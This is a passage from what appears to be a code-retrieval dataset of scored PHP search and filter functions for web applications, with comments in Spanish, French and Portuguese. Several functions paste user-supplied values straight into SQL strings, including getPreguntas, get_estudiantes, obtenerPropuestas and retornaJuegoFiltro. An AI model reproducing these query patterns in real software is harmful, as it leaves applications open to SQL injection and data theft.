obtengo las filas\n\t\t$rows =$model->query(\"\".$query['select'].\";\");\n\t\t//Obtengo los totales\n\t\t$totales = $this->getTotales($model,$query);\n\t\t//Proceso los campos para llenar la tabla\n\t\t$arrayData=$this->getArrayDataArticulos($tabla,$rows,$query['select'],$privilegios);\n\t\t//Obtengo la tabla\n\t\t$output = $this->createConfigTable($arrayData,$totales[\"total\"],$totales[\"tDisplay\"]);\n//\t\t$output = $this->createConfigTable($arrayData,40,40);\n\n\t\treturn $output;\n\t}", "title": "" }, { "docid": "80565e6191162b44711fe72274c2b3e6", "score": "0.5996299", "text": "public function filtreCaissier(){\n\t\tif (isset($_SESSION['pagination'])) {\n\t\t\tunset($_SESSION['pagination']);\n\t\t}\n\t\t\t$this->db->select('id,nom,prenom,email,sexe,cni,image_cni,image,adresse,telephone')\n\t\t\t\t\t\t\t\t->from('personne');\n\t\t\t\t\t\t\t\tif ($_POST['nom'] != '') {\n\t\t\t\t\t\t\t\t\t$this->db->where('nom LIKE', '%'.$_POST['nom'].'%');\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tif ($_POST['prenom'] != '') {\n\t\t\t\t\t\t\t\t\t$this->db->where('prenom LIKE', '%'.$_POST['prenom'].'%');\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tif ($_POST['email'] != '') {\n\t\t\t\t\t\t\t\t\t$this->db->where('email LIKE', '%'.$_POST['email'].'%');\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tif ($_POST['cni'] != '') {\n\t\t\t\t\t\t\t\t\t$this->db->where('cni LIKE', '%'.$_POST['cni'].'%');\n\t\t\t\t\t\t\t\t}\n\n\n\t\t\t\t\t\t\t\tif ($_POST['sexe'] == 1) {\n\t\t\t\t\t\t\t\t\t$this->db->where('sexe', 'M');\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tif ($_POST['sexe'] == 2) {\n\t\t\t\t\t\t\t\t\t$this->db->where('sexe', 'F');\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tif ($_POST['telephone'] != '') {\n\t\t\t\t\t\t\t\t\t$this->db->where('telephone LIKE', '%'.$_POST['telephone'].'%');\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$data =$this->db->order_by('id DESC')\n\t\t\t\t\t\t\t\t\t\t\t->get()\n\t\t\t\t\t\t\t\t\t\t\t->result();\n\t\t\t\t\t\t \n\t\t\t\t\t$donnees['data']='non';\t\n\t\t\t\t\t$i=0;\t\t\n\t\t\t\tforeach ($data as $row){\n\t\t\t \t$donnees[$i]['id']=$row->id;\n\t\t\t \t$donnees[$i]['nom']=$row->nom;\n\t\t\t \t$donnees[$i]['prenom']=$row->prenom;\n\t\t\t \t$donnees[$i]['email']=$row->email;\n\t\t\t \t$donnees[$i]['sexe']=$row->sexe;\n\t\t\t \t$donnees[$i]['cni']=$row->cni;\n\t\t\t \t$donnees[$i]['image_cni']=$row->image_cni;\n\t\t\t \t$donnees[$i]['image']=$row->image;\n\t\t\t \t$donnees[$i]['adresse']=$row->adresse;\n\t\t\t \t$donnees[$i]['telephone']=json_decodeur($row->telephone);\n\t\t\t \t$donnees['data']='ok';\n\t\t\t \t$i++;\n\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$donnees['total']=$i;\n\t\t\t\t$admins = $this->Caissier->liste_caissier();\n\n\n\t\t\t\t$result = array();\n\t\t\t\t$result['msg'] = 'no';\n\t\t\t\t$tmp = 0;\n\n\t\t\t\tfor ($i=0; $i < $donnees['total']; $i++) { \n\t\t\t\t\tfor ($j=0; $j < $admins['total']; $j++) { \n\t\t\t\t\t\tif ($donnees[$i]['id'] == $admins[$j]['id_personne']) {\n\t\t\t\t\t\t\t$donnees[$i]['id_caissier'] = $admins[$j]['id'];\n\t\t\t\t\t\t\t$result['data'][$tmp] = $donnees[$i];\n\t\t\t\t\t\t\t$tmp++;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t$result['data']['total'] = $tmp;\n\t\t\t\tif ($tmp !=0) {\n\t\t\t\t\t$result['msg'] = 'ok';\n\t\t\t\t}\n\t\t\t\techo json_encode($result);\n\t}", "title": "" }, { "docid": "49f3ccfd0d2f1e03af1f640013a9eb00", "score": "0.59669", "text": "public function filtro(Request $request)\n {\n $nombre = $request->request->get('txt_nombre');\n\n $pacientes = DB::table('tbl_pacientes')->orderBy('pac_id', 'asc')\n ->where('tbl_pacientes.pac_pNombre', 'LIKE', '%' . $nombre . '%')->get()->toArray();\n\n if ($pacientes == null) {\n $pacientes = DB::table('tbl_pacientes')->orderBy('pac_id', 'asc')\n ->where('tbl_pacientes.pac_Cedula', 'LIKE', '%' . $nombre . '%')->get()->toArray();\n }\n\n return view('pacientes.index', compact('pacientes'));\n }", "title": "" }, { "docid": "7b10b594853f165128b1f9ad94a3ffd3", "score": "0.59553355", "text": "function my_filter($lista, $func){\n\t$nova_lista = array();\n\n\tforeach ($lista as $elemento){\n\t\tif ($func($elemento) == true)\n\t\t\t$nova_lista[] = $elemento;\n\t}\n\n\treturn $nova_lista;\n}", "title": "" }, { "docid": "dc020a3094a2034d995c91490f823767", "score": "0.595084", "text": "function getUsersFilteredByRango($filter){\n //Declaracion de variables\n global $conexionMySQL;\n $returnArray = array();\n //preparamos el query\n $query='SELECT username FROM usuario WHERE rango=\"'.$filter.'\"';\n //hacemos query\n if($result=$conexionMySQL->query($query)){\n //navegar por los resultados\n while($row=$result->fetch_assoc()){\n //metemos el resultado en nuestro arreglo\n $newUsuario = new Usuario(null,null,null,null,null,null,null,null,null,null);\n $newUsuario->fetchUserInfoFromDB($row[\"username\"]);\n //metemos el nuevo usuario al arreglo de retorno\n array_push($returnArray,$newUsuario);\n }\n //Regresamos el resultado\n return $returnArray;\n }else{\n return null;\n }\n }", "title": "" }, { "docid": "c1290664a4436697e55acf025a694b1f", "score": "0.5947333", "text": "public function getPreguntas($id_examen){\r\n\t$objDatos = new clsDatos();\r\n\t\t\r\n\t\t$sql= \"SELECT * FROM preguntas_examen WHERE id_examen=\".$id_examen;\r\n\t\r\n\t\t\r\n\t $res = $objDatos->filtroListado($sql);\r\n\t\r\n\t return $res;\r\n}", "title": "" }, { "docid": "33470774c4ad989a3e777a51820a9141", "score": "0.59284085", "text": "public function filtreAdmin(){\n\t\tif (isset($_SESSION['pagination'])) {\n\t\t\tunset($_SESSION['pagination']);\n\t\t}\n\t\t\t$this->db->select('id,nom,prenom,email,sexe,cni,image_cni,image,adresse,telephone')\n\t\t\t\t\t\t\t\t->from('personne');\n\t\t\t\t\t\t\t\tif ($_POST['nom'] != '') {\n\t\t\t\t\t\t\t\t\t$this->db->where('nom LIKE', '%'.$_POST['nom'].'%');\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tif ($_POST['prenom'] != '') {\n\t\t\t\t\t\t\t\t\t$this->db->where('prenom LIKE', '%'.$_POST['prenom'].'%');\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tif ($_POST['email'] != '') {\n\t\t\t\t\t\t\t\t\t$this->db->where('email LIKE', '%'.$_POST['email'].'%');\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tif ($_POST['cni'] != '') {\n\t\t\t\t\t\t\t\t\t$this->db->where('cni LIKE', '%'.$_POST['cni'].'%');\n\t\t\t\t\t\t\t\t}\n\n\n\t\t\t\t\t\t\t\tif ($_POST['sexe'] == 1) {\n\t\t\t\t\t\t\t\t\t$this->db->where('sexe', 'M');\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tif ($_POST['sexe'] == 2) {\n\t\t\t\t\t\t\t\t\t$this->db->where('sexe', 'F');\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tif ($_POST['telephone'] != '') {\n\t\t\t\t\t\t\t\t\t$this->db->where('telephone LIKE', '%'.$_POST['telephone'].'%');\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$data =$this->db->order_by('id DESC')\n\t\t\t\t\t\t\t\t\t\t\t->get()\n\t\t\t\t\t\t\t\t\t\t\t->result();\n\t\t\t\t\t\t \n\t\t\t\t\t$donnees['data']='non';\t\n\t\t\t\t\t$i=0;\t\t\n\t\t\t\tforeach ($data as $row){\n\t\t\t \t$donnees[$i]['id']=$row->id;\n\t\t\t \t$donnees[$i]['nom']=$row->nom;\n\t\t\t \t$donnees[$i]['prenom']=$row->prenom;\n\t\t\t \t$donnees[$i]['email']=$row->email;\n\t\t\t \t$donnees[$i]['sexe']=$row->sexe;\n\t\t\t \t$donnees[$i]['cni']=$row->cni;\n\t\t\t \t$donnees[$i]['image_cni']=$row->image_cni;\n\t\t\t \t$donnees[$i]['image']=$row->image;\n\t\t\t \t$donnees[$i]['adresse']=$row->adresse;\n\t\t\t \t$donnees[$i]['telephone']=json_decodeur($row->telephone);\n\t\t\t \t$donnees['data']='ok';\n\t\t\t \t$i++;\n\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$donnees['total']=$i;\n\t\t\t\t$admins = $this->Admin->liste_admin();\n\n\n\t\t\t\t$result = array();\n\t\t\t\t$result['msg'] = 'no';\n\t\t\t\t$tmp = 0;\n\n\t\t\t\tfor ($i=0; $i < $donnees['total']; $i++) { \n\t\t\t\t\tfor ($j=0; $j < $admins['total']; $j++) { \n\t\t\t\t\t\tif ($donnees[$i]['id'] == $admins[$j]['id_personne']) {\n\t\t\t\t\t\t\t$donnees[$i]['id_admin'] = $admins[$j]['id'];\n\t\t\t\t\t\t\t$result['data'][$tmp] = $donnees[$i];\n\t\t\t\t\t\t\t$tmp++;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t$result['data']['total'] = $tmp;\n\t\t\t\tif ($tmp !=0) {\n\t\t\t\t\t$result['msg'] = 'ok';\n\t\t\t\t}\n\t\t\t\techo json_encode($result);\n\t}", "title": "" }, { "docid": "afb1926ddd5403e7c17a6cbbdc4af562", "score": "0.5915816", "text": "public function getFilters(Array $a=array()){\n\t\t$filtros=array();\n\t\t//se obtiene el mapeo de columnas\n\t\t$colum = $this->getColumnsMap();\n\n\n\t\tif(is_array($colum)){\n\t\t\tforeach ($colum as $key => $value ){\n\t\t\t\tif(is_array($value)){\n\n\t\t\t\t\tif( array_key_exists('name', $value) && array_key_exists('filter', $value) ){\n\n\t\t\t\t\t\t//se obtinee el nombre real de la columna\n\t\t\t\t\t\t$realnamefiel=$value['name'];\n\n\t\t\t\t\t\t$realfilter=$value['filter'];\n\n\t\t\t\t\t\tif(in_array($realnamefiel, $a) ){\n\t\t\t\t\t\t\t$filtros[$realnamefiel]=$realfilter;\n\t\t\t\t\t\t}\n\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t}\n\t\t}\n\t\t//dd($filtros);\n\t\treturn $filtros;\n\t}", "title": "" }, { "docid": "298537a92dc73ea990d28c5bb8b6b57b", "score": "0.59134686", "text": "function conf__filtro(toba_ei_formulario $filtro)\n\t{\n\t\tif (isset($this->s__datos_filtro)) {\n\t\t\t$filtro->set_datos($this->s__datos_filtro);\n\t\t}\n\t}", "title": "" }, { "docid": "c3af62e558be1c49e436be819ff75ce4", "score": "0.59089303", "text": "public function conservarFiltroYBuscar() {\n $_SESSION['libLecIdF'] = (isset($_POST['libLecId']) && !isset($_SESSION['libLecIdF'])) ? $_POST['libLecId'] : $_SESSION['libLecIdF'];\n $_SESSION['libLecIdF'] = (!isset($_POST['libLecId']) && isset($_SESSION['libLecIdF'])) ? $_SESSION['libLecIdF'] : $_POST['libLecId'];\n\n $_SESSION['libLecCodF'] = (isset($_POST['libLecCod']) && !isset($_SESSION['libLecCodF'])) ? $_POST['libLecCod'] : $_SESSION['libLecCodF'];\n $_SESSION['libLecCodF'] = (!isset($_POST['libLecCod']) && isset($_SESSION['libLecCodF'])) ? $_SESSION['libLecCodF'] : $_POST['libLecCod'];\n\n $_SESSION['libLecTituloF'] = (isset($_POST['libLecTitulo']) && !isset($_SESSION['libLecTituloF'])) ? $_POST['libLecTitulo'] : $_SESSION['libLecTituloF'];\n $_SESSION['libLecTituloF'] = (!isset($_POST['libLecTitulo']) && isset($_SESSION['libLecTituloF'])) ? $_SESSION['libLecTituloF'] : $_POST['libLecTitulo'];\n\n $_SESSION['libLecAutorF'] = (isset($_POST['libLecAutor']) && !isset($_SESSION['libLecAutorF'])) ? $_POST['libLecAutor'] : $_SESSION['libLecAutorF'];\n $_SESSION['libLecAutorF'] = (!isset($_POST['libLecAutor']) && isset($_SESSION['libLecAutorF'])) ? $_SESSION['libLecAutorF'] : $_POST['libLecAutor'];\n $_SESSION['categoria_libro_lecto_catLecIdF'] = (isset($_POST['categoria_libro_lecto_catLecId']) && !isset($_SESSION['categoria_libro_lecto_catLecIdF'])) ? $_POST['categoria_libro_lecto_catLecId'] : $_SESSION['categoria_libro_lecto_catLecIdF'];\n $_SESSION['categoria_libro_lecto_catLecIdF'] = (!isset($_POST['categoria_libro_lecto_catLecId']) && isset($_SESSION['categoria_libro_lecto_catLecIdF'])) ? $_SESSION['categoria_libro_lecto_catLecIdF'] : $_POST['categoria_libro_lecto_catLecId'];\n\n $_SESSION['estado_libros_estLibIdF'] = (isset($_POST['estado_libros_estLibId']) && !isset($_SESSION['estado_libros_estLibIdF'])) ? $_POST['estado_libros_estLibId'] : $_SESSION['estado_libros_estLibIdF'];\n $_SESSION['estado_libros_estLibIdF'] = (!isset($_POST['estado_libros_estLibId']) && isset($_SESSION['estado_libros_estLibIdF'])) ? $_SESSION['estado_libros_estLibIdF'] : $_POST['estado_libros_estLibId'];\n\n $_SESSION['buscarLibLecF'] = (isset($_POST['buscarLibLec']) && !isset($_SESSION['buscarLibLecF'])) ? $_POST['buscarLibLec'] : $_SESSION['buscarLibLecF'];\n $_SESSION['buscarLibLecF'] = (!isset($_POST['buscarLibLec']) && isset($_SESSION['buscarLibLecF'])) ? $_SESSION['buscarLibLecF'] : $_POST['buscarLibLec'];\n }", "title": "" }, { "docid": "417fb5d01241906f7ffc725dcbf7a5cb", "score": "0.589613", "text": "public function buscaVistoriaAbertaData($filter)\n {\n return $this->app[\"db\"]->fetchAll('SELECT ID_VISTORIA, CODIGO_CONTRATO, CODIGO, CODIGO, VISTORIADOR, DATA_VISTORIA, HORARIO, TIPO_VISTORIA,STATUS\n FROM vistorias\n WHERE STATUS = ? AND DATA_VISTORIA BETWEEN ? AND ?', array('aberta', $filter['DATA_INICIAL'], $filter['DATA_FINAL']));\n }", "title": "" }, { "docid": "d30e879e4fdb17bc83df935b688a18f2", "score": "0.5889258", "text": "function get_estudiantes($parametro)\n {\n $sql = \"select * from estudiante where \"\n . \"estudiante_nombre like '%\".$parametro.\"%' or \"\n . \"estudiante_apellidos like '%\".$parametro.\"%' or \"\n . \"estudiante_codigo like '%\".$parametro.\"%' or \"\n . \"estudiante_ci like '%\".$parametro.\"%' \";\n\n $resultado = $this->db->query($sql)->result_array();\n return $resultado;\n }", "title": "" }, { "docid": "6ad685b20dd7622b7e0b12be7f4b6716", "score": "0.58842313", "text": "public static function filtroAlumnasController(){\n $grupo=$_GET[\"grupo\"];\n $respuesta=Crud::filtroAlumnasModel($grupo);\n\n foreach($respuesta as $row => $item){\n echo '<option>'.$item[\"nombre\"].'</option>';\n }\n }", "title": "" }, { "docid": "6c4adea0ba1aa2ba23d52f97aedff3d6", "score": "0.5881826", "text": "public function getFilter();", "title": "" }, { "docid": "d36aa38987d0d88f401326c82e5077a0", "score": "0.58697915", "text": "public function get_list_anamnesisodontograma_id(Request $request)\n {\n\n $filter = json_decode($request->get('filter'));\n\n $data_user=Session::get('user_data');\n $id_emp=$data_user[0]->persona->personaempresa[0]->id_emp;\n\n $sql =\" agenda.estado='1' AND agenda.id_em='\".$id_emp.\"' AND agenda.id_cli='\".$filter->id_cli.\"'\";\n $data=Agenda::with(\"cliente.persona\",\"empleado.persona\",\"empresa\",\"consultageneral.prescripcion\",\"consultageneral.odontograma\")\n \t\t\t->join(\"consulta_externa\",\"consulta_externa.id_ag\",\"=\",\"agenda.id_ag\")\n \t\t\t->join(\"odontogramajson\",\"odontogramajson.id_cone\",\"=\",\"consulta_externa.id_cone\")\n \t\t\t->whereRaw($sql)\n ->orderBy(\"agenda.fecha\",\"DESC\");\n return $data->paginate(5);\n }", "title": "" }, { "docid": "158379b0d605601658ce1b5acbc0c2c2", "score": "0.5869007", "text": "public function filter_answer(){\n return $this->db->select('*')->from('perusahaan')->order_by('id_perusahaan')->get()->result();\n //return $query_filter;\n }", "title": "" }, { "docid": "5d695b02009141fede7b2e215a5e1691", "score": "0.58686334", "text": "public function getAdvices($filter=NULL)\n\t{\n\t\t$sql=\"SELECT \n\t\t\t\t\tc_id AS id,\n\t\t\t\t\tc_id_utilisateur AS user_id,\n\t\t\t\t\tc_id_conseiller AS advisor_id,\n\t\t\t\t\tc_conseil AS advice,\n\t\t\t\t\tc_date AS advice_date,\n\t\t\t\t\tu.ut_nom AS user_lastname,\n\t\t\t\t\tu.ut_prenom AS user_firstname,\n\t\t\t\t\ta.ut_nom AS advisor_lastname,\n\t\t\t\t\ta.ut_prenom AS advisor_firstname\n\t\t\t\tFROM conseil\n\t\t\t\tJOIN utilisateur AS u \n\t\t\t\tON u.ut_id=c_id_utilisateur\n\t\t\t\tJOIN utilisateur AS a\n\t\t\t\tON a.ut_id=c_id_conseiller\";\n\t\t\t\t\n\t\t$params = array();\n\t\t\n\t\tif(!is_null($filter))\n\t\t{\n\t\t\n\t\t\t$first=true;\t\n\t\t\t$operator=' AND ';\n\n\t\t\tforeach($filter as $k => $v)\n\t\t\t{\n\t\t\t\tif($k=='advice') \n\t\t\t\t{ \n\t\t\t\t\tif($first)\n\t\t\t\t\t{\n\t\t\t\t\t\t$sql.=' WHERE ';\n\t\t\t\t\t\t$first=false;\n\t\t\t\t\t} \n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t$sql.=$operator;\n\t\t\t\t\t}\n\t\t\t\t\t$sql.='c_conseil LIKE ? ';\n\t\t\t\t\t$params[] = '%'.$v.'%';\n\t\t\t\t}\t\n\t\t\t\tif($k=='user_id') \n\t\t\t\t{ \n\t\t\t\t\tif($first)\n\t\t\t\t\t{\n\t\t\t\t\t\t$sql.=' WHERE ';\n\t\t\t\t\t\t$first=false;\n\t\t\t\t\t} \n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t$sql.=$operator;\n\t\t\t\t\t}\n\t\t\t\t\t$sql.='c_id_utilisateur = ? ';\n\t\t\t\t\t$params[] = $v;\n\t\t\t\t}\t\t\t\t\n\t\t\t\tif($k=='advisor_id') \n\t\t\t\t{ \n\t\t\t\t\tif($first)\n\t\t\t\t\t{\n\t\t\t\t\t\t$sql.=' WHERE ';\n\t\t\t\t\t\t$first=false;\n\t\t\t\t\t} \n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t$sql.=$operator;\n\t\t\t\t\t}\n\t\t\t\t\t$sql.='c_id_conseiller =? ';\n\t\t\t\t\t$params[] = $v;\n\t\t\t\t}\n\t\t\t\tif($k=='advice_date') \n\t\t\t\t{ \n\t\t\t\t\tif($first)\n\t\t\t\t\t{\n\t\t\t\t\t\t$sql.=' WHERE ';\n\t\t\t\t\t\t$first=false;\n\t\t\t\t\t} \n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t$sql.=$operator;\n\t\t\t\t\t}\n\t\t\t\t\t$sql.='DATE(c_date) = ? ';\n\t\t\t\t\t$params[] = $v;\n\t\t\t\t}\t\n\t\t\t\tif($k=='advice_date_start') \n\t\t\t\t{ \n\t\t\t\t\tif($first)\n\t\t\t\t\t{\n\t\t\t\t\t\t$sql.=' WHERE ';\n\t\t\t\t\t\t$first=false;\n\t\t\t\t\t} \n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t$sql.=$operator;\n\t\t\t\t\t}\n\t\t\t\t\t$sql.='DATE(c_date) >= ? ';\n\t\t\t\t\t$params[] = $v;\n\t\t\t\t}\t\n\t\t\t\tif($k=='advice_date_stop') \n\t\t\t\t{ \n\t\t\t\t\tif($first)\n\t\t\t\t\t{\n\t\t\t\t\t\t$sql.=' WHERE ';\n\t\t\t\t\t\t$first=false;\n\t\t\t\t\t} \n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t$sql.=$operator;\n\t\t\t\t\t}\n\t\t\t\t\t$sql.='DATE(c_date) <= ? ';\n\t\t\t\t\t$params[] = $v;\n\t\t\t\t}\t\t\t\n\t\t\t}\n\t\t}\t\t\n\t\t$sql.=\" ORDER BY c_date DESC\";\n\t\t$query = $this->db->query($sql, $params);\n\t\t$advices=$query->result_array();\t\n\n\t\treturn $advices;\n\t}", "title": "" }, { "docid": "5cdd0595b2355749b29a4c653f80018f", "score": "0.5864358", "text": "public static function buscarBajasFiltrados($idfacultad, $idsede, $idplanestudio, $ordencampo, $ordenmetodo)\n {\n \t$w=\"\";\n\n \tif ($idfacultad!=0) {\n \t\t$w = \"c.idfacultad=\".$idfacultad;\n \t\tif ($idsede!=0 or $idplanestudio!=0) {\n \t\t\t$w .= \" AND \";\n \t\t}\n \t}\n \tif ($idsede!=0) {\n \t\t$w .= \"al.idsede=\".$idsede;\n \t\tif ($idplanestudio!=0) {\n \t\t\t$w .= \" AND \";\n \t\t}\n\n \t}\n \tif($idplanestudio!=0) {\n \t\t$w .= \"pl.idplanestudio=\".$idplanestudio;\n \t}\n\n\n \tif (($idfacultad!=0) or ($idsede!=0) or ($idplanestudio!=0)) {\n \t\t$w .= \" AND \";\n \t}\n\n \t$q = Doctrine_Manager::getInstance()->getCurrentConnection()->fetchAssoc(\"\n\t \t\tSELECT DISTINCT al.*, cl.ciclo as ciclo, f.nombreabrev as facultad, s.abreviacion as sede, concat(pe.apellido, ', ', pe.nombre) as nombre, pe.nrodoc as nrodoc, ea.fecha as fechabaja, ea.created_at as fecharegistro, concat(c.nombre, ' - ', pl.nombre) as carrera\n\t \t\tFROM alumnos al\n\t\t\tINNER JOIN (\n\t\t\t\tSELECT * FROM (\n\t\t\t\t SELECT *\n\t\t\t\t FROM estados_alumno_historial\n\t\t\t\t ORDER BY fecha DESC, id DESC\n\t\t\t\t) AS eah\n\t\t\t\tGROUP BY eah.idalumno\n\t \t\t) AS ea ON al.idalumno = ea.idalumno\n\t \tINNER JOIN ciclos_lectivos cl ON al.idciclolectivo = cl.id\n\t \tINNER JOIN personas pe ON al.idpersona = pe.idpersona\n\t INNER JOIN planes_estudios pl ON al.idplanestudio = pl.idplanestudio\n\t INNER JOIN carreras c ON pl.idcarrera = c.idcarrera\n\t \tINNER JOIN facultades f ON c.idfacultad = f.idfacultad\n\t \tINNER JOIN sedes s ON al.idsede = s.idsede\n\t \tWHERE\n\t \t\t\".$w.\"\n\t \t\tea.idestadoalumno = 2\n\t \tORDER BY \".$ordencampo.\" \".$ordenmetodo\n \t);\n \treturn $q;\n }", "title": "" }, { "docid": "f306af6166d4e98b982172ff679a49e6", "score": "0.58642614", "text": "public function BuscarSeguimiento($filtros)\n {\n return $this->dbManagers['seguimiento']->BuscarSeguimiento($filtros);\n }", "title": "" }, { "docid": "08d663a016e040b00e3c8f6807620da9", "score": "0.58501333", "text": "public function obtenerPropuestas($filtro){\n $items = [];\n $estados = array('Aprobado','Rechazado','Pendiente de Aprobación','Envíado a la Comisión');\n try{\n if(isset($filtro)){\n if(in_array($filtro,$estados)){ \n $query = \"SELECT A.CodProyecto as ID, A.TituloProyecto, B.NombreResponsable, C.Descripcion as Estado FROM propuestadeproyecto AS A JOIN responsabledeproyecto AS B ON A.CodResponsable = B.CodResponsable JOIN estado AS C ON A.CodEstado = C.CodEstado WHERE C.Descripcion = '\".$filtro.\"';\";\n } else if($filtro == 'Todos'){\n $query = \"SELECT A.CodProyecto as ID, A.TituloProyecto, B.NombreResponsable, C.Descripcion as Estado FROM propuestadeproyecto AS A JOIN responsabledeproyecto AS B ON A.CodResponsable = B.CodResponsable JOIN estado AS C ON A.CodEstado = C.CodEstado;\";\n } else {\n $query = \"SELECT A.CodProyecto as ID, A.TituloProyecto, B.NombreResponsable, C.Descripcion as Estado FROM propuestadeproyecto AS A JOIN responsabledeproyecto AS B ON A.CodResponsable = B.CodResponsable JOIN estado AS C ON A.CodEstado = C.CodEstado WHERE B.NombreResponsable = '\". $filtro.\"'OR A.TituloProyecto = '\".$filtro.\"';\";\n }\n } else {\n $query = \"SELECT A.CodProyecto as ID, A.TituloProyecto, B.NombreResponsable, C.Descripcion as Estado FROM propuestadeproyecto AS A JOIN responsabledeproyecto AS B ON A.CodResponsable = B.CodResponsable JOIN estado AS C ON A.CodEstado = C.CodEstado;\";\n }\n $values = $this->db->Select($query);\n\n for ($i=0; $i <sizeof($values) ; $i++) {\n $item = new PropuestaDeProyectoModel(); \n $item->tituloProyecto = $values[$i]['TituloProyecto'];\n $item->responsable->nombre = $values[$i]['NombreResponsable'];\n $item->codProyecto = $values[$i]['ID'];\n $item->estado = $values[$i]['Estado'];\n \n array_push($items,$item);\n }\n \n return $items;\n } catch(PDOException $e){\n return [];\n }\n }", "title": "" }, { "docid": "f66683fce09f2e200343e121178e0016", "score": "0.5841994", "text": "public function onSearch($param = null)\n {\n // get the search form data\n $data = $this->datagrid_form->getData();\n $filters = [];\n\n TSession::setValue(__CLASS__.'_filter_data', NULL);\n TSession::setValue(__CLASS__.'_filters', NULL);\n\n if (isset($data->id) AND ( (is_scalar($data->id) AND $data->id !== '') OR (is_array($data->id) AND (!empty($data->id)) )) )\n {\n\n $filters[] = new TFilter('id', '=', $data->id);// create the filter \n }\n\n if (isset($data->pergunta) AND ( (is_scalar($data->pergunta) AND $data->pergunta !== '') OR (is_array($data->pergunta) AND (!empty($data->pergunta)) )) )\n {\n\n $filters[] = new TFilter('pergunta', 'like', \"%{$data->pergunta}%\");// create the filter \n }\n\n if (isset($data->is_multipla_escolha) AND ( (is_scalar($data->is_multipla_escolha) AND $data->is_multipla_escolha !== '') OR (is_array($data->is_multipla_escolha) AND (!empty($data->is_multipla_escolha)) )) )\n {\n\n $filters[] = new TFilter('is_multipla_escolha', '=', $data->is_multipla_escolha);// create the filter \n }\n\n if (isset($data->prova_id) AND ( (is_scalar($data->prova_id) AND $data->prova_id !== '') OR (is_array($data->prova_id) AND (!empty($data->prova_id)) )) )\n {\n\n $filters[] = new TFilter('prova_id', '=', $data->prova_id);// create the filter \n }\n\n if (isset($data->minutos_realizacao) AND ( (is_scalar($data->minutos_realizacao) AND $data->minutos_realizacao !== '') OR (is_array($data->minutos_realizacao) AND (!empty($data->minutos_realizacao)) )) )\n {\n\n $filters[] = new TFilter('minutos_realizacao', '=', $data->minutos_realizacao);// create the filter \n }\n\n if (isset($data->peso) AND ( (is_scalar($data->peso) AND $data->peso !== '') OR (is_array($data->peso) AND (!empty($data->peso)) )) )\n {\n\n $filters[] = new TFilter('peso', '=', $data->peso);// create the filter \n }\n\n if (isset($data->is_obrigatoria) AND ( (is_scalar($data->is_obrigatoria) AND $data->is_obrigatoria !== '') OR (is_array($data->is_obrigatoria) AND (!empty($data->is_obrigatoria)) )) )\n {\n\n $filters[] = new TFilter('is_obrigatoria', '=', $data->is_obrigatoria);// create the filter \n }\n\n // fill the form with data again\n $this->datagrid_form->setData($data);\n\n // keep the search data in the session\n TSession::setValue(__CLASS__.'_filter_data', $data);\n TSession::setValue(__CLASS__.'_filters', $filters);\n\n if (isset($param['static']) && ($param['static'] == '1') )\n {\n $class = get_class($this);\n $onReloadParam = ['offset' => 0, 'first_page' => 1];\n AdiantiCoreApplication::loadPage($class, 'onReload', $onReloadParam);\n }\n else\n {\n $this->onReload(['offset' => 0, 'first_page' => 1]);\n }\n }", "title": "" }, { "docid": "80da782355684ac1d6554563b613b64c", "score": "0.5836599", "text": "protected function retornaJuegoFiltro($filtro, $palabra){\n\t\ttry{\n\t\t\t$conecta = new ConexionBD();\n\t\t\t$conecta->getConexionBD()->beginTransaction();\n\t\t\t$sentenciaSQL = \"SELECT * FROM juegos WHERE $filtro = '$palabra'\";\n\t\t\t$intencio = $conecta->getConexionBD()->prepare($sentenciaSQL);\n\t\t\t$intencio->execute();\n\t\t\t$conecta->getConexionBD()->commit();\n\t\t\treturn $resultat = $intencio->fetchAll(PDO::FETCH_OBJ);\n\t\t\techo $sentenciaSQL;\n\t\t}catch(Exception $excepcio){\n\t\t\t$conecta->getConexionBD()->rollback(); \n\t\t\t// return $excepcio->getMessage(); \n\t\t\treturn null; \n\t\t}\n\t}", "title": "" }, { "docid": "16995b3c063c528253cbed0cee25fcce", "score": "0.58354825", "text": "public function filterById($id);", "title": "" }, { "docid": "48891e6e9cee70edc6012e54b73696b9", "score": "0.58339846", "text": "public function buscar($param){\r\n $where = \" true \";\r\n if ($param<>NULL){\r\n if (isset($param['Patente']))\r\n $where.=\" and Patente =\".$param['Patente'];\r\n if (isset($param['descrip']))\r\n $where.=\" and descrip ='\".$param['descrip'].\"'\";\r\n }\r\n $arreglo = TablaAuto::listar($where); \r\n return $arreglo;\r\n \r\n \r\n \r\n \r\n }", "title": "" }, { "docid": "0722b81461e03974eb44a56a71083019", "score": "0.58321494", "text": "function pideContenidoFiltradas($plataformas,$categoria)\n\t{\n\t\t//var_dump($plataformas);\n\t\t//echo \"<br /><br />\";\n\t\t$app = App::getSingleton();\n\t $conn = $app->conexionBd();\n\t\t$i = 1;\n\t\tforeach ($plataformas as &$valor) \n\t\t{\t\t\n\t\t\t$query = sprintf(\"SELECT idContenido FROM 